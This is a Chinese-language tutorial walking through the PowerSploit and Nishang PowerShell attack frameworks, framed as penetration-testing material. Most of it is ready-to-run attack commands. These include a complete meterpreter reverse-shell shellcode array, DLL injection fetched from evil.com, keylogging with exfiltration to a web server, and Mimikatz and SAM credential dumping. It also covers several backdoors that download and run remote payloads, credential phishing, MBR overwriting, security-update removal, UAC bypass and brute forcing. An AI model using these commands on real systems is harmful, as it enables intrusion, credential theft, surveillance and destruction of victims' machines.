Framework

优质
小牛编辑
134浏览
2023-12-01

我们对于框架的介绍主要介绍PowersploitNishang,本来写了Empire的,可是在发布文章之前不久刚发了类似的文章,所以删去部分内容,如果需要学习Empire的朋友,可以去安全客搜索文章,当然还是推荐查看Empire的手册。下面开始介绍两个框架:

注:本篇篇幅可能过长,文字较多,可以在需要的时候直接打开文章搜索即可。

PowerSploit

AntivirusBypass

Find-AVSignature

寻找反病毒软件特征码,思路类似于二分法

参考

http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html

示例
假设我们的远控文件偏移范围为0~10000

Find-AVSignature-StartByte0-EndByte10000-Interval5000-Path test.exe

这条命令将会把test.exe以5000字节作为块大小,分为两个有效部分。第一个部分偏移范围是0~5000,第二部分偏移为0~9999。之后我们可以分别使用杀软扫描这两个文件。不妨设第一个文件没有报毒,而第二个文件报毒了,那么我们就知道,特征码应该存在于偏移范围5001~9999字节内。

接下来我们重复同样的步骤:

  • Find-AVSignature-StartByte5001-EndByte10000-Interval2500-Path test.exe
  • 再将得到的文件进行扫描,如此往复,直到定位出特征码。

    CodeExecution

    Invoke-DLLInjection

    DLL注入脚本
    注意dll架构要与目标进程相符,同时要具备相应的权限

    示例

    Invoke-DLLInjection-ProcessID1612-dll test.dll

    Invoke-ReflectivePEInjection

    反射型注入,bypass AV的一把利器
    个人认为反射型dll注入的精髓之一就在于能做到不在目标磁盘上留下文件,而这个脚本的一大缺陷便是不能远程加载dll/exe,因此要做到无文件就稍显麻烦。 好在已经有人写出了可以从服务器下载文件并注入的脚本

    需要注意的是,ForceASLR选项并不适用于所有dll/exe,
    架构上也尽量做到相同。

    下面均以加强版作示例

    示例
    下载dll并注入到id为1320的进程中

    Invoke-ReflectivePEInjection-PEUrl http://evil.com/test.dll -ProcId 1320

    强制使用ASLR

    Invoke-ReflectivePEInjection-PEUrl http://evil.com/test.dll -ProcId 1320 -ForceASLR

    从本地加载dll并注入指定进程

    Invoke-ReflectivePEInjection-PEPath test.dll
    -ProcId1320

    向exe传参

    Invoke-ReflectivePEInjection-PEPath test.dll
    -ProcId1320-ExeArgs"arg1 arg2"

    Invoke-Shellcode

    向目标进程注入shellcode
    依然需要注意shellcode架构的问题

    示例
    向powershell进程注入meterpreter

    生成shellcode

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=4444-f powershell
    No platform was selected, choosing Msf::Module::Platform::Windowsfrom the payload
    NoArch selected, selecting Arch: x86 from the payload
    No encoder or badchars specified, outputting raw payload
    Payload size:333 bytes
    Final size of powershell file:1625 bytes
    [Byte[]] $buf =0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0x5,0x68,0xc0,0xa8,0x1,0x1,0x68,0x2,0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75,0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4,0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0,0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc,0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0,0x53,0xff,0xd5

    注入shellcode

    Invoke-Shellcode-Shellcode@(0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0x5,0x68,0xc0,0xa8,0x1,0x1,0x68,0x2,0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75,0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4,0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0,0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc,0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0,0x53,0xff,0xd5)-Force

    Invoke-WmiCommand

    在目标主机使用wmi执行命令

    示例

    $username ="test\Administrator"
    $password = echo "123456"|ConvertTo-SecureString-AsPlainText-Force
    $c =New-ObjectSystem.Management.Automation.PSCredential $username,$password
    Invoke-Wmicommand-Payload{1+1}-ComputerName'192.168.1.1'-Credential $Credentials

    Exfiltration

    Get-GPPAutologon

    示例

    Get-GPPAutologon

    Get-GPPPassword

    示例

    Get-GPPPassword

    Get-Keystrokes

    键盘记录

    示例

    Get-Keystrokes-LogPath.\1.txt

    Get-MicrophoneAudio

    通过麦克风记录声音

    示例

    Get-MicrophoneAudio-Path.\1.wav -Length10

    Get-TimedScreenshot

    屏幕记录

    示例

    Get-TimedScreenshot-Path.\screenshot\ -Interval10-EndTime18:00

    Get-VaultCredential

    从凭证管理器中获取凭证

    示例

    Get-VaultCredential

    Invoke-CredentialInjection

    参考
    >
    https://clymb3r.wordpress.com/2013/11/17/injecting-logon-credentials-with-powershell/

    示例

    Invoke-CredentialInjection-UserName test -Password123456-NewWinLogon

    Invoke-Mimikatz

    示例

    Invoke-Mimikatz-DumpCreds

    执行mimikaz命令

    invoke-mimikatz -Command"Privilege::Debug Sekurlsa::logonpasswords"

    Invoke-NinjaCopy

    某些文件被其他进程占用导致不能复制时,可以尝试用这个脚本来复制(例如想dump SAM文件)
    需要管理员权限

    示例

    Invoke-NinjaCopy-Path C:\Windows\System32\config\SAM -LocalDestination.\SAM.hive

    Invoke-TokenManipulation

    参考

    https://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/

    示例
    枚举唯一 可用的令牌

    Invoke-TokenManipulation-Enumerate

    枚举所有的令牌(包括不唯一的与通过网络登陆所创建的令牌)

    Invoke-TokenManipulation-ShowAll

    使用SYSTEM用户的令牌创建一个进程

    Invoke-TokenManipulation-CreateProcess"calc.exe"-Username"NT AUTHORITY\SYSTEM"

    这里也可以通过ID来指定一个Token

    Invoke-TokenManipulation-CreateProcess"calc.exe"-ProcessId"1234"

    那么这里会使用进程ID1234的会话来启动一个进程

    使当前的线程令牌模仿SYSTEM用户

    Invoke-TokenManipulation-ImpersonateUser-Username"nt authority\system"

    Out-Minidump

    dump指定进程完整的内存镜像

    示例

    Out-Minidump-Process(Get-Process-Id2612)-DumpFilePath.\

    VolumeShadowCopyTools

    卷影拷贝工具

    Get-VolumeShadowCopy

    列出所有卷影拷贝的路径
    需要管理员权限
    示例

    Get-VolumeShadowCopy
    New-VolumeShadowCopy

    新建卷影拷贝

    示例

    New-VolumeShadowCopy-Volume C:\
    Mount-VolumeShadowCopy

    挂载卷影拷贝

    示例

    Mount-VolumeShadowCopy-Path C:\Users\haha -DevicePath \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
    Remove-VolumeShadowCopy

    删除卷影拷贝

    示例

    Remove-VolumeShadowCopy-DevicePath \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

    Mayhem

    将此模块放在%Systemroot%/System32\WindowsPowerShell\v1.0\Modules

    $Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules

    Set-CriticalProcess

    退出powershell时使系统蓝屏

    示例

    Set-CriticalProcess

    立刻退出

    Set-CriticalProcess-ExitImmediately

    Set-MasterBootRecord

    覆写主引导记录

    示例

    Set-MasterBootRecord-BootMessage"test"

    Persistence

    同mayhem放置位置

    示例

    $ElevatedOptions =New-ElevatedPersistenceOption-PermanentWMI-Daily-At'3 PM'
    $UserOptions =New-UserPersistenceOption-Registry-AtLogon
    Add-Persistence-FilePath.\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions

    Privesc

    Get-System

    需要运行在STA模式下,启动参数-STA

    参考

    http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/

    示例

    get-system

    选择方式

    get-system -Technique namedpipe/token

    恢复令牌

    Get-System-RevToSelf

    PowerUp

    参考

    http://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/
    https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

    Recon

    Get-ComputerDetails

    获取计算机信息

    示例

    Get-ComputerDetails

    Get-HttpStatus

    扫目录脚本

    示例

    Get-HttpStatus-Target www.example.com -Path C:\dic.txt -UseSSL

    Invoke-Portscan

    扫端口

    示例

    扫描192.168.1.1/24的135,139,445端口

    Invoke-Portscan-Hosts192.168.1,1-Ports"135,139,445,1"-Threads50

    扫描Top50的端口

    Invoke-Portscan-Hosts192.168.1.1-TopPorts50-Threads50

    扫描前不ping目标主机

    Invoke-Portscan-Hosts192.168.169.168-Ports445-SkipDiscovery

    Invoke-ReverseDnsLookup

    ip反查主机名

    示例

    Invoke-ReverseDnsLookup-IpRange192.168.1.1-192.168.1.254

    PowerView

    同mayhem放置位置

    参考

    https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/README.md
    http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-1/
    http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-2/
    http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-3/
    http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-4/

    ScriptModification

    Out-CompressedDll

    将dll压缩并base64编码

    示例

    Out-CompressedDll-FilePath test.dll

    Out-EncodedCommand

    将脚本或代码块编码

    示例
    脚本块编码

    Out-EncodedCommand-ScriptBlock{write-host 'whoami'}

    脚本编码

    Out-EncodedCommand-Path.\1.ps1 -WindowStyleHidden

    Out-EncryptedScript

    脚本加密

    示例

    Out-EncryptedScript-ScriptPath.\1.ps1 -Password fuck -Salt123-FilePath.\encrypt.ps1

    Remove-Comments

    删除注释和不必要的空白符

    示例

    Remove-Comments-Path.\1.ps1
    Remove-Comments-ScriptBlock{ whoami }

    Nishang

    下面Nishang的介绍,朋友V1ct0r对于Nishang的总结不错,这里争取同意之后一起发给大家查看。

    0.信息搜集

    Check-VM

    从这个脚本的名字就可以看出来,它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别。
    执行方式:

    PS >Check-VM

    测试

    Copy-VSS

    这个脚本利用Volume Shadow Copy 服务来复制出SAM文件。如果这个脚本运行在了DC机上ntds.dit和SYSTEM hive也能被拷贝出来。
    执行方式:

    PS >Copy-VSS //将会直接把文件保存在当前路径下
    PS >Copy-VSS -DestinationDir C:\temp  //指定保存文件的路径(必须是已经存在的路径)

    测试

    Invoke-CredentialsPhish

    这个脚本是用来欺骗用户输入账号密码信息的。
    执行方式:

    PS >Invoke-CredentialsPhish

    测试

    执行后会弹出这个框欺骗用户输入
    直到用户输入正确后这个框才会消失,然后我们就可以得到明文的管理员账号密码:

    FireBuster FireListener

    FireBuster可以对内网进行扫描,它会把包发给FireListener
    执行方式:

    PS >FireBuster10.10.10.101000-1020
    PS >FireListener-portrange 1000-1020

    该脚本作者的Github上面还提供了一个Python版的监听端:
    https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/
    测试
    我们首先在我们的机器(Attacker)上面运行FireListener:

    FireListener100-110


    Victim:

    FireBuster192.168.199.190-110-Verbose

    Get-Information

    这个脚本可以获取目标机器上大量的信息(FTP访问,进程,计算机配置信息,无线网络和设备的信息,Hosts信息等等非超丰富)。
    执行方式:

    PS >Get-Information


    还可以用我们前面说过的Out-File来将运行结果保存到指定文件。

    Get-LSASecret

    该脚本可以获取LSA信息,但是使用的前提当然是你已经成功提升了权限的情况下,通常和我们后面提权当中涉及到的Enable-DuplicateToken(帮助我们获得System权限)联合使用。
    执行方式:

    PS >Enable-DuplicateToken
    PS >Get-LsaSecret
    PS >Get-LsaSecret-RegistryKeyKeyName//还可以指定键名

    Get-PassHashes

    这个脚本在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了。
    执行方式:

    PS >Get-PassHashes-PSObjectFormat//可以使用-PSObjectFormat来格式化输出结果

    Get-WLAN-Keys

    在Administrator的权限下,可以利用这个脚本来dump出WLAN文件的密钥信息。实质上,这个脚本就是利用了netsh wlan show profile name=”” key=clear来获取。
    执行方式:

    PS >Get-WLAN-Keys

    Keylogger

    Keylogger可以保存下用户的键盘记录。
    执行方式:

    PS >.\Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis  //-CheckURL参数会去检查所给出的网页之中是否包含 -MagicString后的字符串,如果存在的话就停止使用记录。
    PS >.\Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //将记录指定发送给一个可以记录Post请求的Web服务器
    PS >.\Keylogger.ps1 -persist //实现持久化记录(重启后依然进行记录)
    PS >.\Keylogger.ps1 //直接以这种方式来运行,键盘记录会保存在当前用户的Temp目录下key文件中

    测试
    首先执行 PS > .\Keylogger.ps1

    发现在当前用户的Temp目录下生成了Key的文件,这时我们使用nishang Utility中的Parse_Keys来解析

    PS >Parse_Keys.\key.log .\parsed.txt

    然后parsed.txt里面就是解析后的按键记录了

    Invoke-MimikatzWdigestDowngrade

    Dump出Windows 8.1 and Server 2012的系统用户密码。
    执行方式:

    PS >Invoke-MimikatzWDigestDowngrade
    PS >Get-Job|Receive-Job

    执行了

    PS >Invoke-MimikatzWDigestDowngrade

    Windows会锁屏

    之后执行

    Get-Job

    发现尝试多次都测试失败

    解决办法可以参考:
    域渗透——Dump Clear-Text Password after KB2871997 installed

    Get-PassHints

    这个脚本可以从Windows获得用户的密码的提示信息,需要有Administrator的权限来读取SAM hive。
    执行方式:

    PS >Get-PassHints

    Show-TargetScreen

    使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。

    PS >Show-TargetScreen-Reverse-IPAddress192.168.230.1-Port443//将远程的画面传送到192.168.230.1的443端口

    测试
    Victim:

    Show-TargetScreen-IPAddres192.168.199.127-Port5773-Reverse

    Attacker:

    nc.exe -nlvp 5773| nc.exe -nlvp 9000//这里我使用的NC,也可以用Powercat

    本机访问:127.0.0.1:9000

    Invoke-Mimikatz

    Mimikatz大家都非常熟悉了,就不再介绍了
    执行方式:

    Invoke-Mimikatz-DumpCerts//Dump出本机的凭证信息
    Invoke-Mimikatz-DumpCreds-ComputerName@("computer1","computer2")//Dump出远程两台计算机的凭证信息
    Invoke-Mimikatz-Command"privilege::debug exit"-ComputerName"computer1"//在远程一台机器上运行Mimikatz并执行"privilege::debug exit"

    1.域相关脚本

    Get-Unconstrained

    查找域内开启了Kerberos Unconstrained Delegation的机器。
    执行方式:

    PS >Get-Unconstrained//返回开启的计算机名
    PS >Get-Unconstrained-Details//返回更详细的信息

    关于”通过Kerberos Unconstrained Delegation获取到域管理员”:
    http://www.freebuf.com/articles/terminal/98530.html

    2.Antak Webshell

    Antak

    一个ASPX的Webshell,通过这个Webshell可以编码、执行脚本,上传、下载文件。
    ![Antak_UI][7]
    执行方式:

    上传Webshell后把它当成一个正常的Powershell执行窗口来使用
    上传和下载文件,只需要填写好对应路径点击上传、下载按钮即可

    关于Antak Webshell的更多介绍,请参考:
    http://www.labofapenetrationtester.com/2014/06/introducing-antak.html

    3.后门

    HTTP-Backdoor

    HTTP-Backdoor可以帮助我们在目标机器上下载和执行Powershell脚本
    执行方式:

    PS > HTTP-Backdoor-CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthis

    下面解释下几个比较重要的参数:

    • CheckURL 给出一个URL地址,如果存在我们MagicString中的值就去执行Payload - 下载运行我们的脚本
    • PayloadURL 这个参数给出我们需要下载的Powershell脚本的地址
    • Arguments 这个参数指定我们要执行的函数
    • StopString 这个参数也会去看是否存在我们CheckURL返回的字符串,如果存在就会停止执行

      DNS_TXT_Pwnage

      利用DNS隧道来进行信息传输、通信的小技巧已经不少见了。在Nishang中也集成了一个通过DNS TXT来接收命令或者脚本的后门脚本。使用DNS_TXT_Pwnage这个脚本,我们一般需要配合Utility下的Out-DnsTxt使用。
      所以这里首先说下Out-DnsTxt的使用:
    PS >Out-DnsTxt-DataToEncode path //path处是你想编码的内容的路径

    之后,它会生成一个编码后的文件,如下图所示

    然后我们去添加对应的TXT记录就行了,encoded.txt文件中每一行为一条记录
    添加完后我们还需要添加两条TXT记录,内容为start和stop
    添加完成后,我们就可以利用DNS_TXT_Pwnage这个脚本了
    执行方式:

    PS >DNS_TXT_Pwnage -startdomain start.test.com -cmdstring start -commanddomain command.test.com -psstring test -psdomain xxx.test.com -Subdomains1-StopString stop

    具体参数的意思:

    • startdomain 会一直去检测我们指定域名的TXT记录,并把返回的记录与我们输入的cmdstring以及psstring进行比较
    • cmdstring 是我们任意输入的字符串,如果startdomain与我们这里输入的cmdstring值相等则执行commanddomain命令
    • commanddomain 创建的执行命令TXT记录的域名
    • psstring 是我们任意输入的字符串,如果与我们这里输入的psstring值相等则执行psdomain脚本
    • psdomain 是我们创建的执行脚本TXT记录的域名
    • Subdomains 是执行脚本创建TXT记录的个数
    • StopString 是任意输入的字符串,如果这里输入的字符串与startdomain中返回的记录相同将会停止执行我们的Payload
    • Arguments 指定要执行的函数名

      Execute-OnTime

      执行方式:
    PS >Execute-OnTime-PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload

    具体参数的意思:

    • PayloadURL 指定我们脚本下载的地址
    • Arguments 指定执行的函数名
    • Time 参数可以设定脚本执行的时间(例如 -Time 23:21)
    • CheckURL 参数会检测我们一个指定的URL内容是否存在StopString给出的字符串,如果发现了就停止执行

      Gupt-Backdoor

      Gupt-Backdoor这个脚本可以帮助我们通过无线SSID反弹后门和执行命令。
      执行方式:
    PS >Gupt-Backdoor-MagicString test -Verbose

    这里解释一下MagicString这个参数:
    MagicString开头的4个字符是用来识别我们建立的WIFI SSID的。例如,这里是test,Gupt后门会去自动匹配我们WIFI中SSID以test开头的。而MagicString这个参数从第五个字符开始就决定了我们是执行命令或是下载脚本。
    需要注意的是:

    • 如果它的第五个字符是c就代表执行命令。
      例如:-MagicString testcwhoami
      就会匹配WIFI SSID为test的,并执行命令whoami
    • 如果它的第五个字符是u的话就代表下载脚本。
      例如:-MagicString testuXXXX
      就会匹配WIFI SSID为test的,并默认下载http://goo.gl/XXXX
      (其中http://goo.gl可在脚本的$PayloadURL参数中修改)
    • 还可以用Arguments参数来指定下载脚本
      例如:
      PS >Gupt-Backdoor -MagicString test -Argument Get-Information -Verbose
      就可以下载Get-Information的脚本了

    补充
    Windows下创建一个WIFI:

    cmd
    netsh wlan set hostednetwork mode=allow
    netsh wlan set hostednetwork ssid=test key=1234567890
    netsh wlan start hostednetwork

    Add-ScrnSaveBackdoor

    这个脚本可以帮助我们利用Windows的屏保来留下一个隐藏的后门
    执行方式:

    PS >Add-ScrnSaveBackdoor-Payload"powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process"//使用这条语句可以执行我们自己的Payload
    PS >Add-ScrnSaveBackdoor-PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor 
    http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis //利用这条命令可以从powershell执行一个HTTP-Backdoor
    PS >Add-ScrnSaveBackdoor-PayloadURL http://192.168.254.1/code_exec.ps1  //还可以使用msfvenom先生成一个powershell (./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell),然后利用这条命令返回一个meterpreter

    其他具体的参数的意思和我们上面介绍的一些后门是类似的

    • PayloadURL 指定我们需要下载的脚本地址
    • Arguments 指定我们要执行的函数以及相关参数

      Invoke-ADSBackdoor

      这个脚本是使用NTFS数据流留下一个永久性后门。其实,由NTFS数据流带来的一些安全问题的利用并不少见了(如:利用NTFS数据流在Mysql UDF提权中创建lib/plugin目录),大家可以参考《NTFS ADS带来的WEB安全问题
      这个脚本可以向ADS中注入代码并且以普通用户权限运行
      执行方式:
    PS >Invoke-ADSBackdoor-PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor "http://pastebin.
    com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis

    这个脚本主要有两个参数,在上面介绍其他后门当中已经说明了,这里是类似的
    需要说明的是,执行后它会在AppData的目录下建立一个ads并把我们的Payload注入进去,如果我们希望在cmd下看到我们这里建立的ads,需要使用:dir /a /r

    4.客户端

    对于这一部分的脚本,我就不再赘述了,因为网上早已经有了对于这一部分脚本的介绍说明:
    [使用Powershell Client进行有效钓鱼][8]

    5.权限提升

    Enable-DuplicateToken

    这个脚本可以帮助我们在已经获得了一定权限的情况下,使我们提升到System权限。
    执行方式

    PS >Enable-DuplicateToken

    具体的相关介绍可以查阅:
    https://blogs.technet.microsoft.com/heyscriptingguy/2012/07/05/use-powershell-to-duplicate-process-tokens-via-pinvoke/

    Remove-Update

    这个脚本可以帮助我们移除系统所有的更新,或所有安全更新,以及指定编号的更新。
    执行方式:

    PS >Remove-UpdateAll//移除目标机器上的所有更新
    PS >Remove-UpdateSecurity//移除目标机器上所有安全相关更新
    PS >Remove-Update KB2761226 //移除指定编号的更新

    Invoke-PsUACme

    Invoke-PsUACme使用了来自于UACME项目的DLL来Bypass UAC。

    上表给出了各种UAC绕过的方法,我们可以在Invoke-PsUACme中指定相应方法执行。
    执行方式:

    PS >Invoke-PsUACme-Verbose//使用Sysprep方法和默认的Payload执行
    PS >Invoke-PsUACme-method oobe -Verbose//使用oobe方法和默认的Payload执行
    PS >Invoke-PsUACme-method oobe -Payload"powershell -windowstyle hidden -e YourEncodedPayload"//使用-Payload参数可以自行指定要执行的Payload

    除开以上而外,我们还可以使用-PayloadPath参数来指定Payload的路径,默认情况下Payload会在C:\Windows\Temp\cmd.bat结束。还可以使用-CustomDLL64(64位)或-CustomDLL32(32位)参数来自定义一个DLL文件。

    6.扫描

    Invoke-BruteForce

    这个脚本可以对SQL Server、域控制器、Web以及FTP进行口令的爆破
    执行方式:

    PS >Invoke-BruteForce-ComputerName targetdomain.com -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -ServiceActiveDirectory-StopOnSuccess-Verbose//爆破域控制器
    PS >Invoke-BruteForce-ComputerNameSQLServ01-UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose//爆破SQL Server
    PS > cat C:\test\servers.txt |Invoke-BruteForce-UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose//爆破server.txt中所有servers的SQL Server

    主要的参数:

    • ComputerName 用于指定对应服务的计算机名
    • UserList 用户名字典
    • PasswordList 密码字典
    • Service 服务类型(注意默认为:SQL)
    • StopOnSuccess 成功找到一个后就停止执行

      Invoke-PortScan

      利用这个脚本我们可以在目标机器上对内网进行端口扫描
      执行方式:
    PS >Invoke-PortScan-StartAddress192.168.0.1-EndAddress192.168.10.254-ResolveHost-ScanPort-Port80

    主要的参数:

    • StartAddress 扫描范围开始的地址
    • EndAddress 扫描范围结束的地址
    • ScanPort 进行端口扫描
    • Port 指定扫描端口(默认扫描端口:21,22,23,53,69,71,80,98,110,139,111,
      389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901)
    • TimeOut 设置超时时间

    7.中间人

    Invoke-Interceptor

    这个脚本可以通过建立一个代理服务器的方式来拦截HTTPS的请求,并将这些请求记录下来
    执行方式:

    PS >Invoke-Interceptor-ProxyServer192.168.230.21-ProxyPort3128//这条命令将默认在8081端口监听并把请求发送给上游代理的3128端口

    可以通过ListenPort来修改我们目标机器上的监听端口(默认8081端口)
    例如
    我们在目标机器上执行:

    然后这里本机我用NC来监听对应端口:

    接收到了来自目标机的请求数据
    并且这个脚本会在目标机的TEMP目录下生成interceptor.log的文件来记录请求数据

    Nishang结语

    Nishang这款基于PowerShell的渗透测试专用工具集成了非常多实用的脚本与框架,方便我们在渗透测试过程之中使用。尽管,在一些环境下我们可能没有办法去执行Powershell,但是通过查看这些脚本的具体代码,我们也可以自己去完成实现脚本提供的一些功能。限于篇幅,本文只能抛砖引玉地介绍Nishang的部分功能,希望大家能够在实际的应用之中去体验。